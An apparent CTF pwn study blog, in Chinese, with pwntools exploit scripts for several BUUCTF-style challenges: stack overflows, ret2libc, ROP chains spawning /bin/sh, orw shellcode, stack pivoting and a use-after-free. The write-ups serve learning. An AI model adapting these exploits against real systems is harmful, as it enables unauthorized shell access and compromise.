



# 新生赛后


## 0x01 2048（jk出发）

 在这里插入图片描述


修改跳转条件为nop，随便动一下直接打印flag。这个场景我幻想过很久了，一直没做到，这次参考wp做出来了知道怎么做了。学到！

 在这里插入图片描述

## 0x02 four（dsactf）

 在这里插入图片描述

vmmap查看段权限，可以看到bss段！以前完全不知道可以这样！！

 在这里插入图片描述

ssp leak打法，没学过，这次学了。输入argv记一下，然后read开始的地址记一下，拿到偏移，可以打ssp leak，这是最关键的一点。不过高版本修复了。但是没关系，乐趣所在。


在 `__stack_chk_fail` 中可以看到参数。

```
1  from pwn import *
2
3  p=process("./pwn")
4  if args.P:
5      p=remote('node4.buuoj.cn',25603)
6
7  context.terminal = ['tmux','splitw','-h']
8  if args.G:
9      gdb.attach(p)
10
11  p.sendlineafter('your choice :', b'2')
12  p.sendlineafter('You can give any value, trust me, there will be no overflow',
13  str(0x5FF0-1))
13  payload = b'N'*(0x5de0) + b'flag\x00'
14  p.sendlineafter('Actually, this function doesn\'t seem to be useful', payload)
15  p.sendlineafter('Really?', b'y')
16
17  p.sendlineafter('your choice :', b'3')
18  p.sendlineafter('Enter level:', b'3')
19  p.sendlineafter('Enter mode:', b'3')
20  p.sendlineafter('Enter X:', b'3')
21  p.sendlineafter('Enter a string:', b'3')
22  p.sendlineafter('please input filename', b'output.txt')
23  p.sendlineafter('1. yes\n2.no', b'2')
24
25  bss = 0x602323
26  p.sendlineafter('your choice :', b'4')
27  payload = b':`##>@a*>~3'
28  p.sendlineafter('info>>', payload)
29
30
```

```

31 p.sendline(b'5')
32 #payload =
   b'aaaaaaaaabaaaaaacaaaaaadaaaaaaeaaaaaafaaaaaaagaaaaaaahaaaaaaiaaaaaajaaaaak
   aaaaaalaaaaaamaaaaaanaaaaaaoaaaaapaaaaaaqaaaaaaraaaaasaaaaaataaaaauaaa
   aaaavaaaaawaaaaaxaaaaayaaaaazaaaaabbaaaaabcaaaaabdaaaaabeaaaaabfaaaaaa
   bgaaaaabhaaaaabiaaaaabjaaaaabkaaaaaablaaaaabmaaaaabnaaaaaaboaaaaabpaaaaab'
   + p64(bss)
33 payload = b'YYYYYYYY' + b'N'*0x110+p64(bss)
34 p.send(payload)

```

拿到flag。在这里插入图片描述

## 2023.5.22

# 0x00 picoctf\_2018\_rop chain

久违了，好久没好好做做pwn题，之前都是和比赛苦熬但是没好好熬出个结果（虽然复现学到好多但是确实很累啊！）。最后还是pwn还是要把题目多刷刷，才能形成思路。本人基础知识都已经基本完备，接下来是要好好刷题了。这些日子先多做做栈，等后面时间宽裕了开堆。

题目来源是buuctf pwn的第一页最后一题。

太久没写32位的题目差点忘记怎么传参了。要记住本函数的参数是跟在返回地址后面的。即返回地址+参数，如果有很多个函数，他们有很多个参数，则是

```

1  add1 + (add2 + arg1 +.....) #属于add1的返回地址和参数 + (add3 +arg2+.....) #属于add2的 +
   (add4 + arg3+.....) #属于add3的

```

这么看太抽象，直接看题解吧！


## 0x01 wp

checksec啥的就跳过了，具体可以参考之前的wp。


## 第二步，反编译+静态分析

在这里插入图片描述


存在栈溢出漏洞。

在这里插入图片描述

将win1设置为1。

在这里插入图片描述

当传参为0xbaaaaad，win2设置为1。

在这里插入图片描述当win1和win2为1，参数为0xdaeadbaad，打印flag

## 第三步，写exp

```

1  from pwn import *
2  context(os='linux', arch='amd64', log_level='debug')
3
4  procname = './pico'


```

```

5  libcname = './libc.so.6'
6  p = process('./pico')
7  p = remote('node4.buuoj.cn', 29602)
8  elf = ELF(procname)
9  #libc = ELF(libcname)
10
11  n2b = lambda x      : str(x).encode()
12  rv  = lambda x      : p.recv(x)
13  ru  = lambda s      : p.recvuntil(s, drop=True)
14  sd  = lambda s      : p.send(s)
15  sl  = lambda s      : p.sendline(s)
16  sn  = lambda s      : sl(n2b(n))
17  sa  = lambda p, s   : p.sendafter(p, s)
18  sla = lambda p, s   : p.sendlineafter(p, s)
19  sna = lambda p, n   : sla(p, n2b(n))
20  ia  = lambda        : p.interactive()
21  rop = lambda r      : flat([p64(x) for x in r])
22
23  if args.G:
24      gdb.attach(p)
25
26
27  win1 = p32(0x80485cb)
28  win2 = p32(0x80485d8)
29  flag = p32(0x804862b)
30
31  p1 = b'a'*0x18+ b'bPPP' + win1 + win2 + flag + p32(0xbaaaaaad) + p32(0xdeadbaad)
32  #flag没返回地址所以就没填，直接传参
33
34  sl(p1)
35
36  ia()
37

```

## 拿到flag

 在这里插入图片描述

## 最后


有问题欢迎指出和指正！！欢迎交流，热烈欢迎大家来学pwn！


# 2023.5.27

## 0x00 ciscn 2023 烧烤


### 0x01 wp

#### 第一步，分析

 在这里插入图片描述静态分析发现，输入负数可以赚钱（）。

 在这里插入图片描述

承包摊位有栈溢出漏洞。

 在这里插入图片描述然后用gadget控制寄存器rdi为name（一开始输入'/bin/sh\x00'），rsi、rdx控制为0，rax控制为59，最后进行syscall即可。

## 第二步，写exp

```
1  from pwn import *
2  context(os='linux', arch='amd64', log_level='debug')
3  #context(os='linux', arch='amd64')
4
5  p = process('./shaokao')
6  #p = remote('node4.buuoj.cn', 29639)
7  elf = ELF('./shaokao')
8  #libc = ELF('./libc-2.27.so')
9  p = remote('47.95.212.224', 19743)
10
11  n2b = lambda x      : str(x).encode()
12  rv  = lambda x      : p.recv(x)
13  ru  = lambda s      : p.recvuntil(s)
14  sd  = lambda s      : p.send(s)
15  sl  = lambda s      : p.sendline(s)
16  sn  = lambda s      : sl(n2b(s))
17  sa  = lambda t, s   : p.sendafter(t, s)
18  sla = lambda t, s   : p.sendlineafter(t, s)
19  sna = lambda t, n   : sla(t, n2b(n))
20  ia  = lambda        : p.interactive()
21  rop = lambda r      : flat([p64(x) for x in r])
22
23  if args.G:
24      gdb.attach(p)
25
26  bss = 0x4e60f0
27  scanf = 0x40bf60
28  prsi = 0x000000000040a67e #pop rsi ; ret
29  pedx = 0x00000000004a404b # pop rdx ; pop rbx ; ret
30  prdi = 0x000000000040264f # pop rdi ; ret
31  prax = 0x0000000000458827 # pop rax ; ret
32  syscall = 0x0000000000402404
33  sh = 0x00000000004d29cc
34
35
36  sla('>', b'1')
37  sl(b'1')
38  sl(b'-1000000')
39  sla('>', b'4')
40  sla('>', b'5')
41
42  payload = b'/bin/sh\x00'*5 + p64(prdi) + p64(bss) + p64(prax) + p64(59) + p64(prsi)
43          + p64(0) + p64(padx) + p64(0)*2 + p64(syscall)
44
45  sl(payload)
46
47
48
49  ia()
50
```

# 2023.06.09

## 0x01 ez\_pz\_hackover\_2016

### 常规解法 ret2libc

不能再傻了.....32位是先返回地址然后参数啊.....

buuctf pwn第二页第一题

```


1  ~/ctf/train/buu/hackover2016 » cat exp.py
   N1nE@N1nEmAn
2  from pwn import *
3  context(os='linux', arch='amd64', log_level='debug')
4
5  procname = './pz'
6  libcname = './libc-2.23.so'
7  p = process('./pz')
8  p = remote('node4.buuoj.cn', 28711)
9  elf = ELF(procname)
10 libc = ELF(libcname)
11
12 n2b = lambda x      : str(x).encode()
13 rv  = lambda x      : p.recv(x)
14 ru  = lambda s      : p.recvuntil(s, drop=True)
15 sd  = lambda s      : p.send(s)
16 sl  = lambda s      : p.sendline(s)
17 sn  = lambda s      : sl(n2b(s))
18 sa  = lambda p, s    : p.sendafter(p, s)
19 sla = lambda p, s    : p.sendlineafter(p, s)
20 sna = lambda p, n    : sla(p, n2b(n))
21 ia  = lambda        : p.interactive()
22 rop = lambda r      : flat([p64(x) for x in r])
23
24 if args.G:
25     gdb.attach(p)
26
27 padd = elf.plt['printf']
28 main = elf.sym['main']
29 pgot = elf.got['printf']
30
31 sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-
   0x08)+p32(padd)+p32(main)+p32(pgot))#构建输入进入vuln函数, 返回地址+返回地址2+参数
   ru('!\n')
32 ppadd = u32(rv(4))#接受printf地址print('printf:', hex(ppadd))
33 base = ppadd - libc.sym['printf']
34 print('base:', hex(base))
35 system = base+libc.sym['system']
36 binsh = base+0x15902b#用ROPgadget找到的binsh字符串地址
   sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-
   0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
37 ia()
38

```

## 骚操作 one\_shot

```
1 og = base+0x3a80c
2 #sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-
  0x08)+p32(system)+p32(main)+p32(binsh))#替换最后输入拿到权限
3 sl(b'crashme\x00\x10aaa/bin/sh\x00'+b'a'*(0x0e-0x08)+p32(og)+p32(0)*0x20)#使用
  one_gadget并且覆盖esp+0x28的位置为0，达成一枪致命的效果
4 ia()
```

## 拿到权限！

 在这里插入图片描述

## 2023.07.02

## 0x01 pwnable\_orw

```
1 from pwn import *
2 context(os='linux', arch='i386', log_level='debug')
3 #context(os='linux', arch='amd64')
4
5 p = process('./orw')
6 elf = ELF('./orw')
7 libc = ELF('./libc-2.23.so')
8 p = remote('node4.buuoj.cn', 27378)
9
10 n2b = lambda x : str(x).encode()
11 rv = lambda x : p.recv(x)
12 ru = lambda s : p.recvuntil(s)
13 sd = lambda s : p.send(s)
14 sl = lambda s : p.sendline(s)
15 sn = lambda s : sl(n2b(n))
16 sa = lambda t, s : p.sendafter(t, s)
17 sla = lambda t, s : p.sendlineafter(t, s)
18 sna = lambda t, n : sla(t, n2b(n))
19 ia = lambda : p.interactive()
20 rop = lambda r : flat([p64(x) for x in r])
21 uu64= lambda data : u64(data.ljust(8, b'\x00'))
22
23 if args.G:
24     gdb.attach(p)
25
26 shellcode = shellcraft.open('flag')#orw
27 shellcode += shellcraft.read('eax', 'esp', 0x30)
28 shellcode += shellcraft.write(1, 'esp', 0x30)
29 shellcode = asm(shellcode)
30 print('shellcode is ', shellcode)
31 sl(shellcode)
32
33 ia()
34
```

# 0x02 [BUUCTF]PWN——[Black Watch 入群题]PWN

构造栈迁移ret2libc，一定不要在栈迁移的时候用sendline

```
1  from pwn import *
2
3  p = process('./l4')
4  p = remote('node4.buuoj.cn', 28093)
5  elf = ELF('./l4')
6  libc = ELF('./libc-2.23.so')
7  context(os='linux', arch='i386', log_level='debug')
8
9  n2b = lambda x      : str(x).encode()
10 rv  = lambda x      : p.recv(x)
11 ru  = lambda s      : p.recvuntil(s)
12 sd  = lambda s      : p.send(s)
13 sl  = lambda s      : p.sendline(s)
14 sn  = lambda s      : sl(n2b(n))
15 sa  = lambda t, s   : p.sendafter(t, s)
16 sla = lambda t, s   : p.sendlineafter(t, s)
17 sna = lambda t, n   : sla(t, n2b(n))
18 ia  = lambda       : p.interactive()
19 rop = lambda r      : flat([p64(x) for x in r])
20 uu64= lambda data   : u64(data.ljust(8, b'\x00'))
21
22 if args.G:
23     gdb.attach(p)
24
25 puts = 0x8048380
26 lv = 0x08048511
27 main = 0x8048513
28 putsgot = 0x804a01c
29 s = 0x804a300
30 payload = b'aaaa' + p32(puts) + p32(main) + p32(1) + p32(putsgot)+p32(8)
31
32 p.sendafter(b'?', payload)
33 pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
34 p.sendafter(b'?', pay2)
35
36 realputs = u32(p.recvuntil('\0')[-5:-1].ljust(4, b'\0'))
37 print("okkkkkkkkkkkkk#ykkkkkkkkkkk")
38 print(hex(realputs))
39
40 libcbase = realputs - libc.sym['write']
41 print(hex(libcbase))
42
43 sys = libcbase + libc.sym['system']
44 print(hex(libc.sym['system']))
45 print(hex(sys))
46 binsh = libcbase + 0x15902b
47
48 payload = b'aaaa' + p32(0x08048312)+p32(sys) + p32(main) + p32(binsh)
49 p.sendafter(b'?', payload)
50 pay2 = b'aaaabaaacaaadaaaeaaafaaa'+p32(s)+p32(lv)
```

```
51 p.sendafter(b'?', pay2)
52
53 p.interactive()
```

## 2023.7.4

# 0x01 inndy\_rop与rop\_chain

## 1.题目 inndy\_rop

使用这个命令。

`ROPgadget --binary l4 --ropchain` 就会得到一个rop，只需要返回这个就行。

一开始得到这个：

```
1  p = b''
2
3  p += pack('<I', 0x0806ecda) # pop edx ; ret
4  p += pack('<I', 0x080ea060) # @ .data
5  p += pack('<I', 0x080b8016) # pop eax ; ret
6  p += b'/bin'
7  p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
8  p += pack('<I', 0x0806ecda) # pop edx ; ret
9  p += pack('<I', 0x080ea064) # @ .data + 4
10 p += pack('<I', 0x080b8016) # pop eax ; ret
11 p += b'//sh'
12 p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
13 p += pack('<I', 0x0806ecda) # pop edx ; ret
14 p += pack('<I', 0x080ea068) # @ .data + 8
15 p += pack('<I', 0x080492d3) # xor eax, eax ; ret
16 p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x080481c9) # pop ebx ; ret
18 p += pack('<I', 0x080ea060) # @ .data
19 p += pack('<I', 0x080de769) # pop ecx ; ret
20 p += pack('<I', 0x080ea068) # @ .data + 8
21 p += pack('<I', 0x0806ecda) # pop edx ; ret
22 p += pack('<I', 0x080ea068) # @ .data + 8
23 p += pack('<I', 0x080492d3) # xor eax, eax ; ret
24 p += pack('<I', 0x0807a66f) # inc eax ; ret
25 p += pack('<I', 0x0807a66f) # inc eax ; ret
26 p += pack('<I', 0x0807a66f) # inc eax ; ret
27 p += pack('<I', 0x0807a66f) # inc eax ; ret
28 p += pack('<I', 0x0807a66f) # inc eax ; ret
29 p += pack('<I', 0x0807a66f) # inc eax ; ret
30 p += pack('<I', 0x0807a66f) # inc eax ; ret
31 p += pack('<I', 0x0807a66f) # inc eax ; ret
32 p += pack('<I', 0x0807a66f) # inc eax ; ret
33 p += pack('<I', 0x0807a66f) # inc eax ; ret
34 p += pack('<I', 0x0807a66f) # inc eax ; ret
35 p += pack('<I', 0x0806c943) # int 0x80
```

我们要学习一下：

## 2.vim的批量替换



在 Vim 中进行批量替换内容，你可以使用 `:s` 命令（substitute 的缩写）。下面是一些常用的替换方法：

1. 替换当前行的第一个匹配项：

```
1 :s/要替换的内容/替换后的内容/
```

2. 替换当前行所有匹配项：

```
1 :s/要替换的内容/替换后的内容/g
```

3. 替换指定范围内所有匹配项：

```
1 :起始行号,结束行号s/要替换的内容/替换后的内容/g
```

4. 替换整个文件中的所有匹配项：

```
1 :%s/要替换的内容/替换后的内容/g
```

5. 替换时忽略大小写：

```
1 :%s/要替换的内容/替换后的内容/gi
```

6. 提示确认每次替换：

```
1 :%s/要替换的内容/替换后的内容/gc
```

以上命令中，`s/` 表示替换操作的开始，`g` 表示全局替换，`i` 表示忽略大小写，`c` 表示每次替换时都要确认。

如果要进行批量替换并保存更改，可以在命令前加上 `w` 来写入文件。例如：

```
1 :w | %s/要替换的内容/替换后的内容/g | wq
```

### 3.exp

```
1 from pwn import *
2 context(os='linux', arch='i386', log_level='debug')
3 #context(os='linux', arch='amd64')
4
5 io = process('./l4')
6 elf = ELF('./l4')
7 libc = ELF('./libc-2.23.so')
8 #io = remote('node4.buuoj.cn', 27407)
9
10 n2b = lambda x : str(x).encode()
11 rv = lambda x : p.recv(x)
12 ru = lambda s : p.recvuntil(s)
13 sd = lambda s : p.send(s)
14 sl = lambda s : io.sendline(s)
15 sn = lambda s : sl(n2b(s))
16 sa = lambda t, s : p.sendafter(t, s)
```

```

17 sla = lambda t, s : p.sendlineafter(t, s)
18 sna = lambda t, n : sla(t, n2b(n))
19 ia = lambda : io.interactive()
20 rop = lambda r : flat([p64(x) for x in r])
21 uu64=lambda data :u64(data.ljust(8,b'\x00'))
22
23 if args.G:
24     gdb.attach(io,'b *0x8048893')
25 p=b'a'*(0xc+4)
26 p += p32(0x0806ecda) # pop edx ; ret
27 p += p32(0x080ea060) # @ .data
28 p += p32(0x080b8016) # pop eax ; ret
29 p += b'/bin'
30 p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
31 p += p32(0x0806ecda) # pop edx ; ret
32 p += p32(0x080ea064) # @ .data + 4
33 p += p32(0x080b8016) # pop eax ; ret
34 p += b'//sh'
35 p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
36 p += p32(0x0806ecda) # pop edx ; ret
37 p += p32(0x080ea068) # @ .data + 8
38 p += p32(0x080492d3) # xor eax, eax ; ret
39 p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
40 p += p32(0x080481c9) # pop ebx ; ret
41 p += p32(0x080ea060) # @ .data
42 p += p32(0x080de769) # pop ecx ; ret
43 p += p32(0x080ea068) # @ .data + 8
44 p += p32(0x0806ecda) # pop edx ; ret
45 p += p32(0x080ea068) # @ .data + 8
46 p += p32(0x080492d3) # xor eax, eax ; ret
47 p += p32(0x0807a66f) # inc eax ; ret
48 p += p32(0x0807a66f) # inc eax ; ret
49 p += p32(0x0807a66f) # inc eax ; ret
50 p += p32(0x0807a66f) # inc eax ; ret
51 p += p32(0x0807a66f) # inc eax ; ret
52 p += p32(0x0807a66f) # inc eax ; ret
53 p += p32(0x0807a66f) # inc eax ; ret
54 p += p32(0x0807a66f) # inc eax ; ret
55 p += p32(0x0807a66f) # inc eax ; ret
56 p += p32(0x0807a66f) # inc eax ; ret
57 p += p32(0x0807a66f) # inc eax ; ret
58 p += p32(0x0806c943) # int 0x80
59 sl(p)
60 ia()

```


## 2023.7.5

# hitcontraining\_uaf（个人认为本质和fastbin差不多


## 1.分析程序

本题的漏洞是UAF，漏洞在于删除堆块的函数没有将指针置为0，这使得我们可以修改相关内存。这个程序会在分配堆的时候在之前分配一个有关puts的堆，存有print\_note\_content函数和参数，用来调用打印heap信息。接着下

一个才是申请的堆块。

在这里插入图片描述

如果我们覆盖这个函数为magic，那么我们就可以在打印的时候调用magic。

在这里插入图片描述

## 2.整体思路


整体思路是，利用UAF漏洞，先释放两个大堆块，在申请一个小堆块，这样的话第一次申请puts的堆的话是申请第二次释放的puts的堆，再申请我们要申请的堆，就会申请到第一次释放的puts的堆，然后修改puts堆的函数地址，达到目的。(Tcache后进先出)。

## 3.利用过程讲解

```
1 add(16,b'0')
2 add(16,b'0')
```

执行这些之后，堆上是这样的。


(vis (visble) 命令可以直接查看，全称是vis\_heap\_chunk)

在这里插入图片描述

可以看到紫色的是putheap函数和参数，而绿色才是第一个申请的堆块，蓝色是第二个putsheap的函数和参数，橙色是第二个堆块。

```
1 free(0)
2 free(1)
```


执行这些之后，堆上是这样的。释放后的到了Tcache bin中。


在这里插入图片描述

```
1 magic = 0x8048945
2
3 add(8,p32(magic))
```

接着我们申请8字节大小的内存，和putsheap函数的内容大小一样。

执行第一步，根据Tcache后进先出，蓝色被分配用于存放putsheap函数和参数（当前还没参数）。

在这里插入图片描述执行第二步，紫色用于作为我们申请的内存，并且写入magic地址，注意，这里本来应该是执行putsheap的地址，所以在打印堆块的时候会执行这个函数，然后拿到权限。

在这里插入图片描述

执行，拿到权限。

在这里插入图片描述

## 3.完整exp

```
1 from pwn import *
2
3 context(os='linux', arch='amd64', log_level='debug')
4
5 p = process('./heap')
6 p = remote('node4.buuoj.cn', 28490)
```

```

7  elf = ELF('./heap')
8  libc = ELF('./libc.so.6')
9
10 n2b = lambda x      : str(x).encode()
11 rv  = lambda x      : p.recv(x)
12 ru  = lambda s      : p.recvuntil(s)
13 sd  = lambda s      : p.send(s)
14 sl  = lambda s      : p.sendline(s)
15 sn  = lambda s      : sl(n2b(n))
16 sa  = lambda t, s   : p.sendafter(t, s)
17 sla = lambda t, s   : p.sendlineafter(t, s)
18 sna = lambda t, n   : sla(t, n2b(n))
19 ia  = lambda        : p.interactive()
20 rop = lambda r      : flat([p64(x) for x in r])
21
22 if args.G:
23     gdb.attach(p)
24
25 def add(size, content):
26     sla(':', str(1))
27     sla(':', str(size))
28     sla(':', content)
29
30 def edit(idx, content):
31     sla(':', '2')
32     sla(':', str(idx))
33     sla(':', str(len(content)))
34     sla(':', content)
35
36 def free(idx):
37     sla(':', '2')
38     sla(':', str(idx))
39
40 def dump(idx):
41     sla(':', '3')
42     sla(':', str(idx))
43
44 add(16, b'0')
45 add(16, b'0')
46
47 free(0)
48 free(1)
49
50 magic = 0x8048945
51
52 add(8, p32(magic))
53 dump(0)
54 ia()

```